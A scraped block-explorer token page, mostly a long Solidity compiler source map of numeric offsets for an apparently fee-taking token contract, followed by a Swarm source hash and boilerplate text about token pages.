;;-1:-1:-1;;;;;17356:16:0;;20019:18;17356:16;;;:7;:16;;;;;;20101:15;;20077:19;20090:6;17356:16;20077:19;:::i;:::-;20076:40;;20068:70;;;;-1:-1:-1;;;20068:70:0;;5581:2:1;20068:70:0;;;5563:21:1;5620:2;5600:18;;;5593:30;-1:-1:-1;;;5639:18:1;;;5632:48;5697:18;;20068:70:0;5379:342:1;20068:70:0;20004:136;19809:331;13519:7;13546:6;-1:-1:-1;;;;;20156:15:0;;;13546:6;;20156:15;;;;:51;;-1:-1:-1;;;;;;20185:22:0;;14465:42;20185:22;;20156:51;:88;;;;-1:-1:-1;;;;;;20220:24:0;;14465:42;20220:24;;20156:88;:122;;;;-1:-1:-1;;;;;;20257:21:0;;20273:4;20257:21;;20156:122;20152:212;;;20312:12;;20302:6;:22;;20294:58;;;;-1:-1:-1;;;20294:58:0;;4117:2:1;20294:58:0;;;4099:21:1;4156:2;4136:18;;;4129:30;4195:25;4175:18;;;4168:53;4238:18;;20294:58:0;3915:347:1;20294:58:0;-1:-1:-1;;;;;20384:18:0;;;;;;:38;;-1:-1:-1;;;;;;20406:16:0;;;;20384:38;20376:72;;;;-1:-1:-1;;;20376:72:0;;5231:2:1;20376:72:0;;;5213:21:1;5270:2;5250:18;;;5243:30;-1:-1:-1;;;5289:18:1;;;5282:51;5350:18;;20376:72:0;5029:345:1;20376:72:0;-1:-1:-1;;;;;20501:23:0;;;;;;:19;:23;;;;;;20488:10;:36;;20501:23;;;;20488:36;;-1:-1:-1;;;20488:36:0;-1:-1:-1;;;;20488:36:0;;;;;;;;;20553:1;20544:6;:10;20536:60;;;;-1:-1:-1;;;20536:60:0;;4469:2:1;20536:60:0;;;4451:21:1;4508:2;4488:18;;;4481:30;4547:34;4527:18;;;4520:62;-1:-1:-1;;;4598:18:1;;;4591:35;4643:19;;20536:60:0;4267:401:1;20536:60:0;20648:11;;;;;;;;20637:7;;:22;;;;:57;;-1:-1:-1;20678:16:0;;-1:-1:-1;;;20678:16:0;;;;20677:17;20637:57;:95;;;;-1:-1:-1;20719:13:0;;-1:-1:-1;;;;;20711:21:0;;;20719:13;;20711:21;;20637:95;:133;;;;-1:-1:-1;20749:21:0;;-1:-1:-1;;;20749:21:0;;;;20637:133;20620:443;;;20876:4;20827:28;17356:16;;;:7;:16;;;;;;20923:12;;20900:35;;20897:78;;;-1:-1:-1;20961:12:0;;20897:78;20989:7;:11;;-1:-1:-1;;20989:11:0;;;21015:36;21030:20;21015:14;:36::i;:::-;20796:267;20620:443;-1:-1:-1;;;;;21137:24:0;;21083:12;21137:24;;;:18;:24;;;;;;21098:4;;21083:12;21137:24;;;:50;;-1:-1:-1;;;;;;21165:22:0;;;;;;:18;:22;;;;;;;;21137:50;21134:239;;;21213:5;21203:15;;21134:239;;;21273:13;;-1:-1:-1;;;;;21265:21:0;;;21273:13;;21265:21;21262:72;;;-1:-1:-1;21314:4:0;21262:72;21350:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;21134:239;21397:10;;-1:-1:-1;;;21397:10:0;;;;21393:422;;21423:48;21438:4;21444:2;21448:6;21456:7;21465:5;21423:14;:48::i;:::-;21393:422;;;-1:-1:-1;;;;;21528:13:0;;;;;;:7;:13;;;;;;:20;;21542:6;;21528:20;:::i;:::-;-1:-1:-1;;;;;21512:13:0;;;;;;;:7;:13;;;;;;:36;;;;21634:11;;;;;;;19193:18;;21634;;21646:6;;21634:18;:::i;:::-;-1:-1:-1;;;;;21620:11:0;;;;;;:7;:11;;;;;;:32;;;;21708:4;21692:22;;;;:37;;21715:14;;21692:37;:::i;:::-;21683:4;21667:22;;;;:7;:22;;;;;;;;;:62;;;;21749:26;6218:25:1;;;-1:-1:-1;;;;;21749:26:0;;;;;;;;-1:-1:-1;;;;;;;;;;;21749:26:0;6191:18:1;21749:26:0;;;;;;;-1:-1:-1;21790:6:0;:13;;-1:-1:-1;;21790:13:0;21799:4;21790:13;;;21393:422;19777:2049;;19674:2152;;;:::o;1402:206::-;1488:7;1549:12;1541:6;;;;1533:29;;;;-1:-1:-1;;;1533:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1584:5:0;;;1402:206::o;974:98::-;1032:7;1059:5;1063:1;1059;:5;:::i;:::-;1052:12;974:98;-1:-1:-1;;;974:98:0:o;17897:201::-;18011:4;17955;17356:16;;;:7;:16;;;;;;17955:4;;17993:37;;18019:10;;17993:37;:::i;:::-;17971:60;;18042:26;18057:10;21968:1043;15912:16;:23;;-1:-1:-1;;;;15912:23:0;-1:-1:-1;;;15912:23:0;;;22107:12:::1;::::0;15912:23;;22122:3:::1;::::0;22084:35:::1;::::0;:20;:35:::1;:::i;:::-;:41;;;;:::i;:::-;22059:66;;22160:14;22150:7;;:24;;;;:::i;:::-;22140:7;:34:::0;14355:42:::1;22212:20;::::0;:7:::1;:20;::::0;;;:37:::1;::::0;22235:14;;22212:37:::1;:::i;:::-;22189:7;:20;::::0;;:60;22305:4:::1;22189:20;22289:22:::0;;;22189:20;22289:22;;;:39:::1;::::0;22314:14;;22289:39:::1;:::i;:::-;22280:4;22264:22;::::0;;;:7:::1;:22;::::0;;;;:64;;;;22402:17:::1;::::0;22422:3:::1;::::0;22379:40:::1;::::0;:20;:40:::1;:::i;:::-;:46;;;;:::i;:::-;22357:68;;22440:19;22502:3;22485:15;;22462:20;:38;;;;:::i;:::-;:43;;;;:::i;:::-;22440:65;;22520:25;22591:3;22571:17;;22548:20;:40;;;;:::i;:::-;:46;;;;:::i;:::-;22520:74:::0;-1:-1:-1;22609:18:0::1;22520:74:::0;22630:25:::1;22644:11:::0;22630;:25:::1;:::i;:::-;:45;;;;:::i;:::-;22695:6;::::0;22609:66;;-1:-1:-1;22695:6:0::1;;22692:120;;;22788:7;::::0;22778:4:::1;17329:7:::0;17356:16;;;:7;:16;;;;;;22760:36:::1;;;;:::i;:::-;22747:49;;22721:75;22826:28;22843:10;22826:16;:28::i;:::-;22938:16;::::0;22889:21:::1;::::0;22925:41:::1;::::0;-1:-1:-1;;;;;22938:16:0::1;22889:21:::0;22925:12:::1;:41::i;:::-;-1:-1:-1::0;;22981:6:0::1;:14:::0;;-1:-1:-1;;22981:14:0::1;::::0;;-1:-1:-1;;15958:16:0;:24;;-1:-1:-1;;;;15958:24:0;;;-1:-1:-1;;;21968:1043:0:o;24341:1461::-;24486:7;24482:1311;;-1:-1:-1;;;;;24529:15:0;;;;;;:7;:15;;;;;;:23;;24545:7;;24529:23;:::i;:::-;-1:-1:-1;;;;;24511:15:0;;;;;;;:7;:15;;;;;;:41;;;;24588:18;;;;;;;:26;;24607:7;;24588:26;:::i;:::-;-1:-1:-1;;;;;24567:18:0;;;;;;;:7;:18;;;;;;;:47;;;;24634:36;;;;;;-1:-1:-1;;;;;;;;;;;24634:36:0;;;24662:7;6218:25:1;;6206:2;6191:18;;6072:177;24634:36:0;;;;;;;;-1:-1:-1;;;;;24690:24:0;;14355:42;24690:24;24687:67;;;24747:7;24739;;:15;;;;:::i;:::-;24729:7;:25;24482:1311;;;24793:5;24789:1004;;;24816:14;24853:3;24841:11;;24833:7;:19;;;;:::i;:::-;:23;;;;:::i;:::-;24816:40;-1:-1:-1;24871:23:0;24897:14;24816:40;24897:7;:14;:::i;:::-;-1:-1:-1;;;;;24946:15:0;;;;;;:7;:15;;;;;;24871:40;;-1:-1:-1;24946:23:0;;24962:7;;24946:23;:::i;:::-;-1:-1:-1;;;;;24928:15:0;;;;;;;:7;:15;;;;;;:41;;;;25005:18;;;;;;;:34;;25024:15;;25005:34;:::i;:::-;-1:-1:-1;;;;;24984:18:0;;;;;;:7;:18;;;;;;:55;;;;25095:4;25079:22;;;;:29;;25102:6;;25079:29;:::i;:::-;25070:4;25054:22;;;;:7;:22;;;;;;;;;:54;;;;25131:44;6218:25:1;;;-1:-1:-1;;;;;25131:44:0;;;;;;;;-1:-1:-1;;;;;;;;;;;25131:44:0;6191:18:1;25131:44:0;;;;;;;-1:-1:-1;;;;;25195:24:0;;14355:42;25195:24;25192:75;;;25252:15;25244:7;;:23;;;;:::i;:::-;25234:7;:33;25192:75;24799:498;;24789:1004;;;25320:15;25359:3;25346:12;;25338:7;:20;;;;:::i;:::-;:24;;;;:::i;:::-;25320:42;-1:-1:-1;25377:23:0;25403:15;25320:42;25403:7;:15;:::i;:::-;-1:-1:-1;;;;;25453:15:0;;;;;;:7;:15;;;;;;25377:41;;-1:-1:-1;25453:23:0;;25469:7;;25453:23;:::i;:::-;-1:-1:-1;;;;;25435:15:0;;;;;;;:7;:15;;;;;;:41;;;;25512:18;;;;;;;:34;;25531:15;;25512:34;:::i;:::-;-1:-1:-1;;;;;25491:18:0;;;;;;:7;:18;;;;;;:55;;;;25602:4;25586:22;;;;:30;;25609:7;;25586:30;:::i;:::-;25577:4;25561:22;;;;:7;:22;;;;;;;;;:55;;;;25639:44;6218:25:1;;;-1:-1:-1;;;;;25639:44:0;;;;;;;;-1:-1:-1;;;;;;;;;;;25639:44:0;6191:18:1;25639:44:0;;;;;;;-1:-1:-1;;;;;25703:24:0;;14355:42;25703:24;25700:75;;;25760:15;25752:7;;:23;;;;:::i;:::-;25742:7;:33;25700:75;25303:490;;24341:1461;;;;;:::o;23019:474::-;23111:16;;;23125:1;23111:16;;;;;;;;23087:21;;23111:16;;;;;;;;;;-1:-1:-1;23111:16:0;23087:40;;23156:4;23138;23143:1;23138:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;23138:23:0;;;-1:-1:-1;;;;;23138:23:0;;;;;23182:15;;;;;;;;;-1:-1:-1;;;;;23182:15:0;-1:-1:-1;;;;;23182:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23172:4;23177:1;23172:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;23172:32:0;;;:7;;;;;;;;;:32;23247:15;;23215:62;;23232:4;;23247:15;;;;23265:11;23215:8;:62::i;:::-;23288:15;;:197;;-1:-1:-1;;;23288:197:0;;:15;;;;-1:-1:-1;;;;;23288:15:0;;:66;;:197;;23369:11;;23395:1;;23412:4;;23439;;23459:15;;23288:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23074:419;23019:474;:::o;21838:122::-;21923:23;;-1:-1:-1;;;;;21923:15:0;;;:23;;;;;21939:6;;21923:23;;;;21939:6;21923:15;:23;;;;;;;;;;;;;;;;;;;;;21838:122;;:::o;14:247:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;181:9;168:23;200:31;225:5;200:31;:::i;266:251::-;336:6;389:2;377:9;368:7;364:23;360:32;357:52;;;405:1;402;395:12;357:52;437:9;431:16;456:31;481:5;456:31;:::i;522:388::-;590:6;598;651:2;639:9;630:7;626:23;622:32;619:52;;;667:1;664;657:12;619:52;706:9;693:23;725:31;750:5;725:31;:::i;:::-;775:5;-1:-1:-1;832:2:1;817:18;;804:32;845:33;804:32;845:33;:::i;:::-;897:7;887:17;;;522:388;;;;;:::o;915:456::-;992:6;1000;1008;1061:2;1049:9;1040:7;1036:23;1032:32;1029:52;;;1077:1;1074;1067:12;1029:52;1116:9;1103:23;1135:31;1160:5;1135:31;:::i;:::-;1185:5;-1:-1:-1;1242:2:1;1227:18;;1214:32;1255:33;1214:32;1255:33;:::i;:::-;915:456;;1307:7;;-1:-1:-1;;;1361:2:1;1346:18;;;;1333:32;;915:456::o;1376:315::-;1444:6;1452;1505:2;1493:9;1484:7;1480:23;1476:32;1473:52;;;1521:1;1518;1511:12;1473:52;1560:9;1547:23;1579:31;1604:5;1579:31;:::i;:::-;1629:5;1681:2;1666:18;;;;1653:32;;-1:-1:-1;;;1376:315:1:o;1696:277::-;1763:6;1816:2;1804:9;1795:7;1791:23;1787:32;1784:52;;;1832:1;1829;1822:12;1784:52;1864:9;1858:16;1917:5;1910:13;1903:21;1896:5;1893:32;1883:60;;1939:1;1936;1929:12;1978:184;2048:6;2101:2;2089:9;2080:7;2076:23;2072:32;2069:52;;;2117:1;2114;2107:12;2069:52;-1:-1:-1;2140:16:1;;1978:184;-1:-1:-1;1978:184:1:o;3313:597::-;3425:4;3454:2;3483;3472:9;3465:21;3515:6;3509:13;3558:6;3553:2;3542:9;3538:18;3531:34;3583:1;3593:140;3607:6;3604:1;3601:13;3593:140;;;3702:14;;;3698:23;;3692:30;3668:17;;;3687:2;3664:26;3657:66;3622:10;;3593:140;;;3751:6;3748:1;3745:13;3742:91;;;3821:1;3816:2;3807:6;3796:9;3792:22;3788:31;3781:42;3742:91;-1:-1:-1;3894:2:1;3873:15;-1:-1:-1;;3869:29:1;3854:45;;;;3901:2;3850:54;;3313:597;-1:-1:-1;;;3313:597:1:o;6254:980::-;6516:4;6564:3;6553:9;6549:19;6595:6;6584:9;6577:25;6621:2;6659:6;6654:2;6643:9;6639:18;6632:34;6702:3;6697:2;6686:9;6682:18;6675:31;6726:6;6761;6755:13;6792:6;6784;6777:22;6830:3;6819:9;6815:19;6808:26;;6869:2;6861:6;6857:15;6843:29;;6890:1;6900:195;6914:6;6911:1;6908:13;6900:195;;;6979:13;;-1:-1:-1;;;;;6975:39:1;6963:52;;7070:15;;;;7035:12;;;;7011:1;6929:9;6900:195;;;-1:-1:-1;;;;;;;7151:32:1;;;;7146:2;7131:18;;7124:60;-1:-1:-1;;;7215:3:1;7200:19;7193:35;7112:3;6254:980;-1:-1:-1;;;6254:980:1:o;7428:128::-;7468:3;7499:1;7495:6;7492:1;7489:13;7486:39;;;7505:18;;:::i;:::-;-1:-1:-1;7541:9:1;;7428:128::o;7561:217::-;7601:1;7627;7617:132;;7671:10;7666:3;7662:20;7659:1;7652:31;7706:4;7703:1;7696:15;7734:4;7731:1;7724:15;7617:132;-1:-1:-1;7763:9:1;;7561:217::o;7783:168::-;7823:7;7889:1;7885;7881:6;7877:14;7874:1;7871:21;7866:1;7859:9;7852:17;7848:45;7845:71;;;7896:18;;:::i;:::-;-1:-1:-1;7936:9:1;;7783:168::o;7956:125::-;7996:4;8024:1;8021;8018:8;8015:34;;;8029:18;;:::i;:::-;-1:-1:-1;8066:9:1;;7956:125::o;8086:175::-;8123:3;8167:4;8160:5;8156:16;8196:4;8187:7;8184:17;8181:43;;;8204:18;;:::i;:::-;8253:1;8240:15;;8086:175;-1:-1:-1;;8086:175:1:o;8266:127::-;8327:10;8322:3;8318:20;8315:1;8308:31;8358:4;8355:1;8348:15;8382:4;8379:1;8372:15;8398:127;8459:10;8454:3;8450:20;8447:1;8440:31;8490:4;8487:1;8480:15;8514:4;8511:1;8504:15;8662:131;-1:-1:-1;;;;;8737:31:1;;8727:42;;8717:70;;8783:1;8780;8773:12;8717:70;8662:131;:::o

Swarm Source

ipfs://57787161a9507e82293abd1871f924f42b9781bd62deb84f9ecca0b006c41760
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.